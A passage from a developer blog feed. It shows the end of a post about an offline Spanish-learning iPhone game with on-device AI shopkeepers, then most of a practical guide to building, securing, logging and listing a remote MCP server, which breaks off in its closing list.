&lt;li&gt;
&lt;strong&gt;El kiosco&lt;/strong&gt;: Tito, a relaxed young guy, sells candy and &lt;em&gt;figuritas&lt;/em&gt; (football sticker packs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;La heladería&lt;/strong&gt;: Mili scoops ice cream and asks &lt;em&gt;¿cucurucho o vasito?&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each shop is a mission with five small goals, written in Russian so the kids always know what to do: greet the shopkeeper, ask for three medialunas, add an alfajor, ask the price, say thank you and goodbye. The child taps the microphone and &lt;strong&gt;speaks Spanish&lt;/strong&gt;. The character answers out loud, in Rioplatense Spanish, and the goals tick off as the child reaches them.&lt;/p&gt;

&lt;p&gt;When they get stuck, a 💡 button shows a ready phrase with its Russian translation and can say it aloud. Any line from a character can be translated with one tap. Finishing without hints gives three stars, and stars unlock stickers for an album: a medialuna, a mate, a &lt;em&gt;colectivo&lt;/em&gt;, and Copo, our Samoyed mascot.&lt;/p&gt;

&lt;p&gt;Everything runs on the phone. No account, no server, and nothing my kids say leaves the device.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Me ordering medialunas from Doña Rosa, by voice, fully offline:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/pj6c-IQYnVY" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6jwxdqylcl2xmmdtfmmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6jwxdqylcl2xmmdtfmmv.png" alt="The neighborhood map" width="460" height="1000"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbb3iqlbz4rvgxiukldfv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbb3iqlbz4rvgxiukldfv.png" alt="Talking to Doña Rosa" width="460" height="1000"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F447z44zdtvnue39rs1y1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F447z44zdtvnue39rs1y1.png" alt="Mission complete, new stickers" width="460" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yahhi" rel="noopener noreferrer"&gt;
        Yahhi
      &lt;/a&gt; / &lt;a href="https://github.com/Yahhi/mi-barrio" rel="noopener noreferrer"&gt;
        mi-barrio
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Offline iPhone game: kids practice Argentine Spanish with on-device AI shopkeepers (Gemma 4 + Whisper + Piper). DEV Hacktoberfest Weekend Challenge 2026.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Mi Barrio 🧉&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;An offline iPhone game where kids practice Argentine Spanish by talking to AI shopkeepers in a Buenos Aires neighborhood.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Built for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01" rel="nofollow"&gt;&lt;strong&gt;DEV Hacktoberfest Weekend Challenge 2026: Build for a Friend&lt;/strong&gt;&lt;/a&gt; (October 2026). The "friends" are my two children, 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Rioplatense kind, with &lt;em&gt;vos&lt;/em&gt;, &lt;em&gt;che&lt;/em&gt; and &lt;em&gt;medialunas&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/map.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Fmap.png" width="240" alt="Neighborhood map with three shops"&gt;&lt;/a&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/panaderia.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Fpanaderia.png" width="240" alt="Talking to Doña Rosa at the bakery"&gt;&lt;/a&gt;
  &lt;a rel="noopener noreferrer" href="https://github.com/Yahhi/mi-barrio/docs/screenshots/reward.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FYahhi%2Fmi-barrio%2FHEAD%2Fdocs%2Fscreenshots%2Freward.png" width="240" alt="Mission complete with new stickers"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;🎬 &lt;strong&gt;Demo:&lt;/strong&gt; &lt;a href="https://youtube.com/shorts/pj6c-IQYnVY" rel="nofollow noopener noreferrer"&gt;watch on YouTube&lt;/a&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it plays&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;Three shops, three characters, each a mission with five small goals written in Russian:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;table&gt;

&lt;thead&gt;

&lt;tr&gt;

&lt;th&gt;Shop&lt;/th&gt;

&lt;th&gt;Character&lt;/th&gt;

&lt;th&gt;The child has to…&lt;/th&gt;

&lt;/tr&gt;

&lt;/thead&gt;

&lt;tbody&gt;

&lt;tr&gt;

&lt;td&gt;La panadería&lt;/td&gt;

&lt;td&gt;Doña Rosa&lt;/td&gt;

&lt;td&gt;greet her, ask for three medialunas, add an alfajor, ask the price, say goodbye&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;El kiosco&lt;/td&gt;

&lt;td&gt;Tito&lt;/td&gt;

&lt;td&gt;ask for figuritas, buy candy, ask the price…&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;La heladería&lt;/td&gt;

&lt;td&gt;Mili&lt;/td&gt;

&lt;td&gt;ask which flavors there are, pick a cone or a cup, choose a flavor…&lt;/td&gt;

&lt;/tr&gt;

&lt;/tbody&gt;

&lt;/table&gt;&lt;/div&gt;&lt;br&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;

&lt;li&gt;The child taps the microphone and &lt;strong&gt;speaks Spanish&lt;/strong&gt;.&lt;/li&gt;

&lt;li&gt;…&lt;/li&gt;

&lt;/ol&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yahhi/mi-barrio" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;Three open models, all running locally:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Job&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Runtime&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plays the characters, translates lines into Russian&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Gemma 4 E2B&lt;/strong&gt; (Apache 2.0)&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://pub.dev/packages/flutter_gemma" rel="noopener noreferrer"&gt;flutter_gemma&lt;/a&gt; on LiteRT-LM, phone GPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hears the child&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Whisper small&lt;/strong&gt; (int8)&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/k2-fsa/sherpa-onnx" rel="noopener noreferrer"&gt;sherpa-onnx&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Speaks&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Piper&lt;/strong&gt; &lt;code&gt;es_AR-daniela-high&lt;/code&gt; (Argentine voice), &lt;code&gt;es_MX-ald-medium&lt;/code&gt; for Tito&lt;/td&gt;
&lt;td&gt;sherpa-onnx&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The app is Flutter. On first launch it downloads Gemma (2.6 GB) and Whisper (375 MB) once over Wi‑Fi. The voices ship inside the app.&lt;/p&gt;

&lt;p&gt;One loop drives a conversation: microphone → Whisper writes down what the child said → the goals are checked → Gemma replies in character → Piper says the reply.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The most important decision was what &lt;em&gt;not&lt;/em&gt; to give the language model.&lt;/strong&gt; Gemma does the part only a language model can do: holding a natural, slightly different conversation every time while staying in character. Each character has a short prompt with their personality, their prices, and strict rules: always &lt;em&gt;voseo&lt;/em&gt;, at most two short sentences, simple words for a 9-year-old, never ask for personal information, never correct the child, just answer naturally with the right words.&lt;/p&gt;

&lt;p&gt;Everything that decides whether a child succeeded is plain code. Goals are keyword checks on the transcript, accent-insensitive and tolerant of small misspellings. Stars, hints and stickers are deterministic and covered by unit tests. A child should never lose a star because a model had a bad moment.&lt;/p&gt;

&lt;p&gt;Testing found real problems, and each one became a small fix:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whisper wrote &lt;em&gt;"medielunas"&lt;/em&gt;, so the goal didn't tick. Matching now accepts a near miss on long words.&lt;/li&gt;
&lt;li&gt;Whisper clipped &lt;em&gt;"¿Cuánto es?"&lt;/em&gt; to &lt;em&gt;"¿Cuánt"&lt;/em&gt;. Short recordings now get half a second of silence on each side before transcription.&lt;/li&gt;
&lt;li&gt;Doña Rosa told my test that three medialunas at 500 pesos cost 2,500. Small models are bad at arithmetic, so characters now name the price per item instead of adding up a total.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I built it in one night, pairing with Claude Code as my coding agent. A debug flag replays a scripted conversation end to end, so we could test whole missions on the simulator without anyone talking into the Mac.&lt;/p&gt;

&lt;h3&gt;
  
  
  What happened when my kids played it
&lt;/h3&gt;

&lt;p&gt;It worked. They finished all three missions in about ten minutes and immediately asked &lt;em&gt;"where are the other places?"&lt;/em&gt; On my iPhone 17 Pro Max it runs perfectly. The kids' phone is an older iPhone 12 Pro, and that's the next test.&lt;/p&gt;

&lt;p&gt;What didn't work as well:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;They got lost after the first phrase, and never touched the 💡 button.&lt;/strong&gt; One of them skipped the greeting, didn't know what to say next, and left the shop and came back just to start over. Help was one tap away, but nobody told them it existed. A stuck child doesn't read a goal list or explore icons. The game needs a 30-second onboarding: Copo walks them through the first shop and shows where the hints are. The shopkeeper could also notice a silence and ask an easy question.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One goal didn't tick&lt;/strong&gt; even though my son was sure he said &lt;em&gt;tres medialunas&lt;/em&gt;. Whisper misheard him. The fix is to make what the app heard much more visible, and to let a child tap "I said it" so a recognition error never blocks the game.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every visit is the same mission.&lt;/strong&gt; That's fine for the first time and boring by the third. Next, each visit will change a little: a different number of medialunas, a different item, a shopkeeper who has run out of something.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The voices are clear but not natural.&lt;/strong&gt; Piper is fast, small and free, but it doesn't sound like a real porteña. That's the honest price of running speech locally on a phone.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The real lesson: ship it to the people you love, early
&lt;/h3&gt;

&lt;p&gt;The most interesting part of this experiment wasn't a model. I gave something built in one night, for a couple of percent of my weekly AI subscription limit, to my most important customers: my children.&lt;/p&gt;

&lt;p&gt;If I had decided to make them an app a year ago, I would have planned for weeks and tried to build something solid on the first try. It turned out none of that mattered yet. In ten minutes I learned what I needed to know. They &lt;em&gt;do&lt;/em&gt; try to say the phrases out loud. They want more places. And the help I built, they never found. A rough version in their hands taught me more than a perfect plan would have.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;Because the users are children, and they're talking.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Privacy is built into the design, not a promise.&lt;/strong&gt; A kid's voice, their accent and their mistakes never leave the phone. There's no account to create for a 9-year-old and no recording on someone's server. With a closed speech or chat API, I would be sending my children's voices to a company on every tap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It works anywhere.&lt;/strong&gt; In the car, on a plane, at a grandparent's house with bad Wi‑Fi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Practice is free and unlimited.&lt;/strong&gt; There's no per-minute bill, so I never have to say "that's enough talking for today". For language learning, more talking is exactly the point.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Argentine accent exists because of open data and open models.&lt;/strong&gt; Argentine speakers contributed recordings to an open dataset (OpenSLR 61), a community member trained an &lt;code&gt;es_AR&lt;/code&gt; Piper voice on it, and the sherpa-onnx project packaged it for phones. Commercial voice APIs mostly give you "Spanish". The open ecosystem gave me &lt;em&gt;Argentine Spanish&lt;/em&gt;, and I can swap or fine-tune any piece later, for example a Whisper tuned on children's accented speech, which is exactly what my kids need.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;No partner category this time: the app runs on an iPhone, without Render, TabPFN, Tinker or a Qualcomm device.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The illustrations were generated with an AI image tool for this project. The app itself uses only the open models listed above.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>hf26challenge</category>
      <category>ai</category>
    </item>
    <item>
      <title>How to build an MCP server — and actually get it used</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Mon, 28 Sep 2026 02:54:41 +0000</pubDate>
      <link>https://dev.to/yahhi/how-to-build-an-mcp-server-and-actually-get-it-used-5331</link>
      <guid>https://dev.to/yahhi/how-to-build-an-mcp-server-and-actually-get-it-used-5331</guid>
      <description>&lt;p&gt;The protocol is the easy part. Nobody warns you about the rest.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zkfbpapyzh7pdy10cqv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5zkfbpapyzh7pdy10cqv.jpg" alt="A developer stands at a cork board pinned with cards reading auth, privacy, tool names, retention, listings and logging, while a small folded-paper origami angel works at a laptop in the corner" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I shipped a remote MCP server this month. Building the thing that speaks MCP took an afternoon — one route on a backend I already ran, and no new dependency. Everything after it took days, and almost none of it is in the protocol docs.&lt;/p&gt;

&lt;p&gt;This is the whole path in order: the decisions that are cheap, the ones you only get to make once, and the point where most people should stop. Where a step cost me a full day, I've linked the write-up with the exact commands and error messages, so you can skip the part where I was confused.&lt;/p&gt;

&lt;h2&gt;
  
  
  First: are you sure you need a server?
&lt;/h2&gt;

&lt;p&gt;The cheaper alternative is a skill — a file of instructions the user installs, which their agent reads and follows. No hosting, no security surface, and it carries far more nuance than a tool description ever will, because it arrives as prose in the agent's context rather than a one-paragraph summary.&lt;/p&gt;

&lt;p&gt;The honest test is where the work has to happen. If everything your integration needs is already on the user's machine or the public web, and they can do it with their own credentials, write the skill.&lt;/p&gt;

&lt;p&gt;You need a server when the work needs data or a service only you can run; when it has to act &lt;strong&gt;as the user&lt;/strong&gt;, which means sign-in and permissions; when you need to change behaviour for everyone at once without asking anyone to update a file; or when you want to be findable in registries and directories.&lt;/p&gt;

&lt;p&gt;The asymmetry to weigh: a skill is a file; a server is an authorization surface you own for as long as it's up. &lt;strong&gt;If a file would do, write the file.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They aren't exclusive, and the strongest setups use both with a clean division — the server owns the data and the operations, the skill owns the judgment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fphvl3r65ehfl7c9nrz7a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fphvl3r65ehfl7c9nrz7a.png" alt="Agent skill vs MCP server: one question decides it — does the work need data, a service, or an identity that only you can provide?" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: tool names are a one-way door
&lt;/h2&gt;

&lt;p&gt;Directory scorecards reward tool names that read as a navigable tree — a dotted path like &lt;code&gt;stories.search&lt;/code&gt;. My listing scored 98/100, and those were the missing two points.&lt;/p&gt;

&lt;p&gt;Don't take them. OpenAI's function-name pattern is &lt;code&gt;^[a-zA-Z0-9_-]{1,64}$&lt;/code&gt;; dots are rejected outright, and Anthropic's is the same shape. A dotted tool name is refused by the exact clients the listing exists to reach. It's a criterion you should knowingly fail.&lt;/p&gt;

&lt;p&gt;What you &lt;em&gt;can&lt;/em&gt; do is pick a grouping convention up front and apply it without exception, so the structure stays legible with an underscore as the separator. Decide it at planning time and write it down — because the moment a registry has scanned you, a directory has listed you, and a client's app directory has accepted your submission, every published tool name is one you have to keep. Renaming later isn't a refactor, it's a migration across systems you don't control.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: build the server (genuinely the easy part)
&lt;/h2&gt;

&lt;p&gt;An MCP server speaks JSON-RPC. A client asks it to introduce itself, asks for its tool list, then calls tools one at a time. For a server people reach over the internet, use the streamable HTTP transport — one endpoint handles everything.&lt;/p&gt;

&lt;p&gt;Three things that are easy to skip and shouldn't be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Write tool descriptions for an agent, not a human.&lt;/strong&gt; They're the entire basis on which a model decides whether to call you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set the annotations honestly&lt;/strong&gt; — read-only, destructive, open-world. Clients show these before approving a call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Declare an &lt;code&gt;outputSchema&lt;/code&gt; and return &lt;code&gt;structuredContent&lt;/code&gt;&lt;/strong&gt;, so consuming agents can rely on shape instead of parsing prose.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then point the &lt;strong&gt;MCP Inspector&lt;/strong&gt; at your own endpoint before any real client sees it. It's a test client you drive by hand, with no model in the loop — which matters, because when a real client doesn't call your tool you cannot tell from outside whether your description was vague, your schema was malformed, or the server errored. Those are three different bugs that look identical.&lt;/p&gt;

&lt;p&gt;It also runs a schema portability check. Mine flagged that nullable fields written as one type with two entries are legal JSON Schema and silently mishandled by several clients — a defect none of my own tests were looking for, because my tests shared my assumptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: where it lives, and what it costs
&lt;/h2&gt;

&lt;p&gt;An MCP server is a small, bursty HTTP service: idle most of the time, awake when somebody's agent calls. That fits serverless. The default instinct is a new repo, the official SDK and a container; I added a route to the backend I already ran. The entry point is a single branch in the existing request handler, and the endpoint is standard library plus the cloud SDK already in the runtime. &lt;strong&gt;Zero new dependencies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Concrete numbers: marginal compute is pennies a month and free tiers swallow it. Listing in the official MCP Registry is free. Submitting a ChatGPT app is free. The only line item that isn't free is the Claude connector directory, which needs a Team organisation — about $40/month with a two-seat minimum.&lt;/p&gt;

&lt;p&gt;The recurring cost isn't compute. It's that you now run an authorization server, so you own its security; that every client release can surface a new incompatibility; and that without request logging you'll have no idea who calls what.&lt;/p&gt;

&lt;p&gt;Full walkthrough: &lt;a href="https://worklore.dev/s/2026-09-25-an-mcp-server-for-the-price-of-one-more-endpoint" rel="noopener noreferrer"&gt;An MCP server for the price of one more endpoint&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: four problems that are all really sign-in
&lt;/h2&gt;

&lt;p&gt;This is the part I'd most like to have known in advance. Identity doesn't arrive as one task. It arrives four times wearing a different mask, and each one reads as a small detour from what you were actually doing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Acting as a person.&lt;/strong&gt; The moment a tool writes anything, you aren't adding a password field — you're running an OAuth 2.1 authorization server: discovery documents, dynamic client registration, PKCE, a consent screen. Clients register themselves; there's nothing to pre-issue. This is the expensive one. → &lt;a href="https://worklore.dev/s/2026-09-23-an-mcp-server-that-signs-users-in-oauth-2-1-on-aws-lambda-st" rel="noopener noreferrer"&gt;OAuth 2.1 on AWS Lambda, start to token&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deciding what needs no sign-in at all.&lt;/strong&gt; Having built the gate, the easy mistake is putting &lt;em&gt;everything&lt;/em&gt; behind it — including the list of what your server offers. Mine did, and a directory listed me with a name, a description, and no tools, because a registry mirror has nobody to sign in as. The fix was about fifteen lines, and the rule is: expose anonymously exactly what is already public elsewhere, and nothing else. → &lt;a href="https://worklore.dev/s/2026-09-27-my-mcp-server-hid-its-own-tool-list-behind-a-login" rel="noopener noreferrer"&gt;My MCP server hid its own tool list behind a login&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Giving a stranger a way in.&lt;/strong&gt; An app reviewer has to use your server. If your only sign-in is a social provider, there is nothing to hand them, and you'll build a sandboxed account under deadline. → &lt;a href="https://worklore.dev/s/2026-09-23-app-review-wants-test-credentials-but-my-app-only-had-google" rel="noopener noreferrer"&gt;App review wants test credentials&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Having the right token yourself.&lt;/strong&gt; Publishing under an organisation rather than your own name needs a token carrying a scope you probably aren't using, and the error won't tell you that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: instrument it before anyone uses it
&lt;/h2&gt;

&lt;p&gt;An MCP server is one URL. Every call arrives as &lt;code&gt;POST /mcp&lt;/code&gt;, so the access log you get for free is a column of identical lines. Which tool ran, for whom, in what order — none of it is there.&lt;/p&gt;

&lt;p&gt;One structured line per call, emitted in the dispatcher rather than in each handler, fixes it. Trim deliberately: log identifiers and lengths, never the content people send you.&lt;/p&gt;

&lt;p&gt;I added this to a server almost nobody was using, which felt pointless. It immediately caught a client calling a method my server doesn't implement, getting an error, and silently falling back — five times over two days, with nothing visibly broken. None of that is visible in a generic access log or an APM dashboard: MCP-aware logging is something you have to write yourself, and this is the argument for writing it early. → &lt;a href="https://worklore.dev/s/2026-09-23-your-mcp-server-is-one-url-getting-per-tool-per-user-analyti" rel="noopener noreferrer"&gt;Your MCP server is one URL&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: you may already be done
&lt;/h2&gt;

&lt;p&gt;Everything above was building. The server runs, it signs people in, it says what it can do, and you can see who calls it. That is a finished thing, and plenty of good servers stop exactly here.&lt;/p&gt;

&lt;p&gt;What follows is &lt;strong&gt;distribution&lt;/strong&gt;, and it's optional in a way none of the earlier steps were.&lt;/p&gt;

&lt;p&gt;If your users already live in a terminal or an IDE, you're done now. Publish the endpoint and one install line in your README — &lt;code&gt;claude mcp add --transport http &amp;lt;name&amp;gt; &amp;lt;url&amp;gt;&lt;/code&gt;, or the equivalent for their client — and they add it themselves in about ten seconds. No forms, no reviewer, no waiting on anybody. For an internal tool, a team server, or anything with a known audience, this isn't the lesser option. It's the right one.&lt;/p&gt;

&lt;p&gt;Read on only if you want the other thing: to appear inside a client's app directory, where someone who has never heard of you can find you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: the documents, and the one rule
&lt;/h2&gt;

&lt;p&gt;Submitting means writing a pile of prose: a privacy policy, terms, a public documentation URL, a domain-verification file, tool-by-tool justifications, example prompts, and credentials a stranger can sign in with.&lt;/p&gt;

&lt;p&gt;None of it is hard. All of it is slow. And one property matters more than any individual document: &lt;strong&gt;they must describe the server as it runs today.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I learned that by failing. My privacy policy was written when the connector was four read-only tools with no sign-in. By review time it was six tools behind OAuth, two of which write on your behalf. The policy still said "read-only tools" and "no account is required". The rejection was one sentence: the policy does not clearly disclose all data uses, and must reflect current tool inputs and outputs.&lt;/p&gt;

&lt;p&gt;Entirely fair. I'd shipped four significant changes and updated none of the documents describing them. A reviewer reads your prose against your live endpoint — which is something you never do.&lt;/p&gt;

&lt;p&gt;The second thing worth knowing: these documents are &lt;strong&gt;fetched at review time, not uploaded&lt;/strong&gt;. A fix needs no resubmission of anything but the form; a drift needs no negligence, only time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 8: being listed is not being found
&lt;/h2&gt;

&lt;p&gt;Getting into the official registry feels like the finish line. It's a database entry.&lt;/p&gt;

&lt;p&gt;Eight days after publishing there, searching my server's name in every browsable directory returned nothing. But "each one wants its own submission" turned out to be only half right, and the half that's right has a pattern underneath it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scanners want a submission; mirrors don't.&lt;/strong&gt; A directory that connects to your live endpoint, or is human-reviewed, needs you to submit. A directory that reads the official registry needs nothing — the registry already holds what it displays. One tell that you're looking at a mirror: its listing shows your description and URL but &lt;strong&gt;no tools&lt;/strong&gt;. It never connected. → &lt;a href="https://worklore.dev/s/2026-09-23-submitting-an-mcp-server-to-the-directories-one-cli-one-gith" rel="noopener noreferrer"&gt;Submitting an MCP server to the directories&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 9: the only number that tells you whether any of this worked
&lt;/h2&gt;

&lt;p&gt;Every step above has a satisfying finish line. That's exactly what makes them easy to mistake for the goal.&lt;/p&gt;

&lt;p&gt;The real question isn't an engineering question, and no directory will answer it: &lt;strong&gt;has anyone who is not you ever connected?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's what that looked like for my server, from its own request log over 24 hours: 93 protocol calls — connect, list the tools, list the resources, repeat — and exactly one actual tool call, which was mine. Two distinct users, both of them me.&lt;/p&gt;

&lt;p&gt;Connected and used are not the same number, and until you log it you cannot tell them apart.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Decide tool names in the planning doc, not in the code.&lt;/li&gt;
&lt;li&gt;Add request logging in the first deploy, not the fifth.&lt;/li&gt;
&lt;li&gt;Re-read every public document against the live tool list &lt;em&gt;before&lt;/em&gt; submitting, not when I wrote them.&lt;/li&gt;
